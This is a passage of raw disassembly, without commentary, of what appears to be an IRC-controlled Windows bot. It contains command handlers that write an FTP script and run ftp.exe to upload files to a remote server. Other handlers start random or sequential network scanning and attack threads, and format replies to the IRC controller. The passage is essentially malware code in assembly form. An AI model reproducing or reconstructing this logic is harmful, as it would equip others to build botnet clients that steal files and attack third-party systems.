		push	[ebp+arg_20]	; Str
		add	edi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	edi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+arg_1C]	; SubStr
		lea	eax, [eax+edi+7]
		push	eax		; Str
		call	_strstr
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+Src]	; Str
		call	_atoi
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+Source], ebx
		jle	short loc_407483

loc_40740C:				; CODE XREF: sub_401CC7+5769j
		push	[ebp+arg_C]	; int
		push	[ebp+arg_18]	; int
		push	edi		; Source
		call	sub_4194A9
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_407434
		cmp	eax, ebx
		jnz	short loc_407453
		inc	[ebp+Source]
		mov	eax, [ebp+Source]
		cmp	eax, [ebp+arg_14]
		jl	short loc_40740C
		jmp	short loc_40748C
; ---------------------------------------------------------------------------

loc_407434:				; CODE XREF: sub_401CC7+575Aj
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_4443FC ; int

loc_40743D:				; CODE XREF: sub_401CC7+57CEj
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407453:				; CODE XREF: sub_401CC7+575Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+Dst]
		push	offset asc_444434 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 20h

loc_407483:				; CODE XREF: sub_401CC7+5743j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407632

loc_40748C:				; CODE XREF: sub_401CC7+576Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_444468
		jmp	short loc_40743D
; ---------------------------------------------------------------------------

loc_407497:				; CODE XREF: sub_401CC7+50CEj
					; sub_401CC7+50E5j ...
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+arg_18]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_C7C], eax
		call	_atoi
		push	[ebp+arg_1C]	; Str
		mov	[ebp+var_C78], eax
		call	_atoi
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4074FC
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_407502
; ---------------------------------------------------------------------------

loc_4074FC:				; CODE XREF: sub_401CC7+5824j
		mov	[ebp+var_C70], ebx

loc_407502:				; CODE XREF: sub_401CC7+5833j
		push	7Fh		; Count
		lea	eax, [ebp+var_D7C]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_C7C]
		push	offset asc_444334 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset sub_413EC9
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4075A5

loc_407593:				; CODE XREF: sub_401CC7+58DCj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407593
; ---------------------------------------------------------------------------

loc_4075A5:				; CODE XREF: sub_401CC7+58CAj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset asc_44437C ; "-"

loc_4075B1:				; CODE XREF: sub_401CC7+4F39j
					; sub_401CC7+6410j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_4075C0:				; CODE XREF: sub_401CC7+4F1Dj
					; sub_401CC7+58D2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408708
		push	ebx
		push	[ebp+var_4]

loc_4075CD:				; CODE XREF: sub_401CC7+229Ej
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_4085F4
; ---------------------------------------------------------------------------

loc_4075E0:				; CODE XREF: sub_401CC7+50A0j
					; sub_401CC7+50B7j
		push	0Bh
		call	sub_40B9D6
		push	[ebp+arg_18]	; Str
		mov	[ebp+Source], eax
		call	_atoi
		add	eax, [ebp+Source]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4077AB
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_4441C4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 20h

loc_407632:				; CODE XREF: sub_401CC7+53BDj
					; sub_401CC7+5787j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_402166
		push	[ebp+arg_8]	; Str2
		push	offset aUpload	; "upload"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B47
		push	4
		push	esi
		call	sub_4174A9
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40767D
		push	esi
		push	offset asc_44470C ; "-"

loc_407669:				; CODE XREF: sub_401CC7+7374j
					; sub_401CC7+7C74j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4041B1
; ---------------------------------------------------------------------------

loc_40767D:				; CODE XREF: sub_401CC7+599Aj
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_402166
		push	esi
		push	[ebp+arg_1C]
		push	[ebp+Src]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; File
		call	_fprintf
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 20h
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4E418C
		test	eax, eax
		push	edi
		push	esi		; Format
		jz	short loc_40774A
		push	offset unk_44477C
		jmp	short loc_40774F
; ---------------------------------------------------------------------------

loc_40774A:				; CODE XREF: sub_401CC7+5A7Aj
		push	offset asc_4447A4 ; "-"

loc_40774F:				; CODE XREF: sub_401CC7+5A81j
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407778
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_407778:				; CODE XREF: sub_401CC7+5A93j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77

loc_407784:				; CODE XREF: sub_401CC7+5AE2j
		lea	eax, [ebp+Filename]
		push	4
		push	eax
		call	sub_4174A9
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402166
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_420290
		jmp	short loc_407784
; ---------------------------------------------------------------------------

loc_4077AB:				; CODE XREF: sub_401CC7+5935j
		push	edi		; Str
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_370], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_358], eax
		call	_atoi
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4077E4
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_4077E4:				; CODE XREF: sub_401CC7+5B12j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4077F1
		mov	[ebp+var_36C], ecx

loc_4077F1:				; CODE XREF: sub_401CC7+5B22j
		push	[ebp+arg_1C]	; Str
		call	_atoi
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_407811
		mov	[ebp+var_368], 320h

loc_407811:				; CODE XREF: sub_401CC7+5B3Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_449248, ebx
		mov	[ebp+Source], ebx
		jz	short loc_407867
		mov	[ebp+File], offset dword_449248

loc_40782A:				; CODE XREF: sub_401CC7+5B82j
		mov	eax, [ebp+File]
		push	edi		; Str2
		add	eax, 0FFFFFFD8h
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40784D
		add	[ebp+File], 40h
		inc	[ebp+Source]
		mov	eax, [ebp+File]
		cmp	[eax], ebx
		jnz	short loc_40782A
		jmp	short loc_407867
; ---------------------------------------------------------------------------

loc_40784D:				; CODE XREF: sub_401CC7+5B74j
		mov	eax, [ebp+Source]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_449248[ecx]
		mov	[ebp+var_370], ecx

loc_407867:				; CODE XREF: sub_401CC7+5B5Aj
					; sub_401CC7+5B84j
		cmp	[ebp+var_370], ebx
		jnz	short loc_407879
		push	offset unk_444204
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_407879:				; CODE XREF: sub_401CC7+5BA6j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+Src], edi
		jz	short loc_4078B4
		cmp	byte ptr [edi],	23h
		jz	short loc_4078B4
		push	edi		; Format
		lea	eax, [ebp+var_484]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_40798E
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_401CC7+5BBBj
					; sub_401CC7+5BC0j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4078D6
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4078D6
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4078D6
		push	offset unk_444238
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_4078D6:				; CODE XREF: sub_401CC7+5BF3j
					; sub_401CC7+5BFBj ...
		push	10h
		lea	eax, [ebp+var_2D8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D8], edi
		push	[ebp+arg_4]
		call	dword_4E41C4	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]	; Count
		call	dword_4E42AC	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_484]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_407988
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax		; Str
		call	_strrchr
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_40797C

loc_40795A:				; CODE XREF: sub_401CC7+5CB3j
		cmp	eax, ebx
		jz	short loc_40797C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_40795A

loc_40797C:				; CODE XREF: sub_401CC7+5C91j
					; sub_401CC7+5C95j
		mov	[ebp+var_344], 1
		jmp	short loc_40798E
; ---------------------------------------------------------------------------

loc_407988:				; CODE XREF: sub_401CC7+5C6Bj
		mov	[ebp+var_344], ebx

loc_40798E:				; CODE XREF: sub_401CC7+5BE8j
					; sub_401CC7+5CBFj
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4079DF

loc_4079CC:				; CODE XREF: sub_401CC7+5D3Bj
		push	esi		; Format

loc_4079CD:				; CODE XREF: sub_401CC7+5D25j
		lea	eax, [ebp+var_3F4]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_407A0A
; ---------------------------------------------------------------------------

loc_4079DF:				; CODE XREF: sub_401CC7+5D03j
		mov	eax, [ebp+Src]
		cmp	eax, ebx
		jz	short loc_4079EE
		cmp	byte ptr [eax],	23h
		jnz	short loc_4079EE
		push	eax
		jmp	short loc_4079CD
; ---------------------------------------------------------------------------

loc_4079EE:				; CODE XREF: sub_401CC7+5D1Dj
					; sub_401CC7+5D22j
		mov	esi, offset aHelp ; "##help"
		push	offset byte_4E40D8 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4079CC
		mov	[ebp+var_3F4], bl

loc_407A0A:				; CODE XREF: sub_401CC7+5D16j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom_1 ;	"Random"
		jnz	short loc_407A1C
		mov	eax, offset aSequential_0 ; "Sequential"

loc_407A1C:				; CODE XREF: sub_401CC7+5D4Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_444280 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40CBA1
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_407AAA

loc_407A94:				; CODE XREF: sub_401CC7+5DE1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407A94
; ---------------------------------------------------------------------------

loc_407AAA:				; CODE XREF: sub_401CC7+5DCBj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4442E8
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_407ABB:				; CODE XREF: sub_401CC7+5072j
					; sub_401CC7+5089j
		push	edi
		call	sub_40AE8D
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_4E0], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_4F0], eax
		call	_atoi
		push	[ebp+arg_1C]	; Str
		mov	[ebp+var_4EC], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44412C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40CFBE
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_407BB0

loc_407B9A:				; CODE XREF: sub_401CC7+5EE7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407B9A
; ---------------------------------------------------------------------------

loc_407BB0:				; CODE XREF: sub_401CC7+5ED1j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44417C
		jmp	loc_403F4B
; ---------------------------------------------------------------------------

loc_407BC1:				; CODE XREF: sub_401CC7+5035j
					; sub_401CC7+504Cj
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_457140[eax], bl
		jz	loc_409B47
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	[ebp+arg_18]	; Str
		call	_strlen
		push	edi		; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+Dst]
		push	esi
		push	offset dword_444100 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409B47
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_18]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D6C
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_456F28[eax], 73h
		jnz	loc_409B47
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_457140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS	; "[%s]	* %s %s"
		jmp	loc_407D81
; ---------------------------------------------------------------------------

loc_407CB1:				; CODE XREF: sub_401CC7+5007j
					; sub_401CC7+501Ej
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_457140[eax], bl
		jz	loc_409B47
		cmp	[ebp+var_C], ebx
		jz	loc_409B47
		push	[ebp+arg_18]	; Str
		call	_strlen
		push	edi		; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409B47
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B47
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B47
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+arg_18]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_457134[eax] ; int
		call	sub_409D6C
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_456F28[eax], 73h
		jnz	loc_409B47
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_457140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"

loc_407D81:				; CODE XREF: sub_401CC7+5FE5j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 28h
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_407DAE:				; CODE XREF: sub_401CC7+4FD9j
					; sub_401CC7+4FF0j
		push	edi
		call	dword_4E4260	; inet_addr
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_680], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_690], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_444058 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40CECD
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_407E90

loc_407E7A:				; CODE XREF: sub_401CC7+61C7j
		cmp	[ebp+var_670], ebx
		jnz	loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407E7A
; ---------------------------------------------------------------------------

loc_407E90:				; CODE XREF: sub_401CC7+61B1j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444094
		jmp	loc_403F4B
; ---------------------------------------------------------------------------

loc_407EA1:				; CODE XREF: sub_401CC7+4FABj
					; sub_401CC7+4FC2j
		push	edi		; Str
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_112C],	eax
		push	[ebp+arg_18]	; Source
		lea	eax, [ebp+var_1230]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		call	_atoi
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+Format]	; Format
		mov	[ebp+var_1238],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_443FCC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	18h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset sub_410E63
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_407F8D

loc_407F77:				; CODE XREF: sub_401CC7+62C4j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_407F77
; ---------------------------------------------------------------------------

loc_407F8D:				; CODE XREF: sub_401CC7+62AEj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444008
		jmp	loc_403F4B
; ---------------------------------------------------------------------------

loc_407F9E:				; CODE XREF: sub_401CC7+4F7Dj
					; sub_401CC7+4F94j
		push	0FFh		; Count
		lea	eax, [ebp+var_2878]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+var_2778]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		mov	[ebp+var_2674],	ebx
		call	_atoi
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407FF7
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407FFD
; ---------------------------------------------------------------------------

loc_407FF7:				; CODE XREF: sub_401CC7+631Aj
		mov	[ebp+var_2668],	ebx

loc_407FFD:				; CODE XREF: sub_401CC7+632Ej
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_408014
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_40801A
; ---------------------------------------------------------------------------

loc_408014:				; CODE XREF: sub_401CC7+633Cj
		mov	[ebp+var_266C],	ebx

loc_40801A:				; CODE XREF: sub_401CC7+634Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2660],	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset asc_443F50 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Dh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset sub_416F9A
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4080CB

loc_4080B5:				; CODE XREF: sub_401CC7+6402j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_4075C0
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4080B5
; ---------------------------------------------------------------------------

loc_4080CB:				; CODE XREF: sub_401CC7+63ECj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443F7C
		jmp	loc_4075B1
; ---------------------------------------------------------------------------

loc_4080DC:				; CODE XREF: sub_401CC7+4F4Fj
					; sub_401CC7+4F66j
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3410]
		push	[ebp+arg_18]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3390]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3310]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
